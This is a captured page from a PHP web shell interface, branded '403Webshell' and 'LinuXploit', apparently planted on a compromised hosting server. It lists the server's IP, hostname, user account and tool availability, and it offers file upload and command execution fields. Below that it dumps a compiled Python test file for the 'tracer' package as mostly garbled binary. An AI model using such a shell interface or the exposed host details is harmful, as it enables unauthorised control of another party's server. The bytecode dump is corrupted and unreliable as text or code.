403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/tracer/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/tracer/tests/__pycache__/test_collections.cpython-36.pyc
3

"e��@sbddlTddlmZmZddlmZmZddlmZddl	m
Z
mZmZm
Z
Gdd�dej�Zd	S)
�)�*�)�Applications�Application)�	Processes�AffectedProcess)�Package)�ApplicationsCollection�ProcessesCollection�PackagesCollection�AffectedProcessesCollectionc@sXeZdZdd�Zdd�Zdd�Zejdd�d	d
��Zdd�Z	d
d�Z
dd�Zdd�ZdS)�TestCollectionscCs�tj}tdd|d��}tdd|d��}tdd|d��}t|||g�}|j|jd�t|||g��|j|jd	�t|||g��|j|t�dS)
N�foo�bar)�name�helper�type�baz�quxZquuxZcorgerr)r�DEFAULT_TYPErr	�assertEqual�sorted�assertIsInstance)�self�default_type�a1�a2�a3�
collection�r�&/usr/lib/python3.6/test_collections.py�test_applications_sorted
sz(TestCollections.test_applications_sortedcCs<tj�}|j|t�|j|jd�t�|j|jd�t�dS)N�usergff���A)r�allrr
�owned_byZ
newer_than)rrrrr �test_processes_typessz$TestCollections.test_processes_typescCs"tj�jd�}|jt|�d�dS)Nr)rr#r$Z
assertGreater�len)rrrrr �test_processes_none_usersz(TestCollections.test_processes_none_userTz%@TODO Create Mock for Processes classcCsftd�}td�}tdddg�|_t�}|j|g�|j|g�|j||�|jd||j|�j�dS)Ni�rrr)r�set�filesr�updateZassertIn�index)r�p1�p2�crrr �test_processes_updatesz%TestCollections.test_processes_updatecCs�td�}td�}td�}tdd�}td�}t||||g�}|j|j||g�jd�t||g�jd��|j|jd�|�|j|j|g�dj�dS)Nrrrr�{rr)rrr�intersectionrZassertIsNotNoneZmodified)rr,r-Zp3Zp4Zp5�c1rrr �test_packages_intersection,s
*z*TestCollections.test_packages_intersectioncCs|tddi�}tddi�}tddi�}t|||g�}dd�|D�dddhksNt�|jddd�dd�|D�dddhksxt�dS)	NrrrrcSsh|]
}|j�qSr)r)�.0�arrr �	<setcomp>=sz6TestCollections.test_replace_values.<locals>.<setcomp>rcSsh|]
}|j�qSr)r)r4r5rrr r6?s)rr	�AssertionErrorZreplace_values)rrrrr2rrr �test_replace_values7sz#TestCollections.test_replace_valuescCsTtj�}|jd�}x<tt|�d�D](}||j�||dj�kr$td��q$WdS)N�create_timerz$The collection isn't sorted properly)rr#r�ranger&r9�	Exception)rr2Zc2�irrr �test_collection_sorted_callableAs

z/TestCollections.test_collection_sorted_callablecCsZtj}tdd|d��}tdd|d��}t||g�}|jd�}|jdd�|D�ddg�dS)	za
		https://github.com/FrostyX/tracer/issues/151
		https://github.com/FrostyX/tracer/issues/156
		rN)rrrrrrcSsg|]
}|j�qSr)r)r4Zapprrr �
<listcomp>SszGTestCollections.test_application_sorted_none_helper.<locals>.<listcomp>)rrrr	rr)rrrrrZcollection_sortedrrr �#test_application_sorted_none_helperIs
z3TestCollections.test_application_sorted_none_helperN)
�__name__�
__module__�__qualname__r!r%r'�unittestZskipIfr/r3r8r=r?rrrr r
s

r
N)Z__meta__Ztracer.resources.applicationsrrZtracer.resources.processesrrZtracer.resources.packagerZtracer.resources.collectionsr	r
rrrCZTestCaser
rrrr �<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit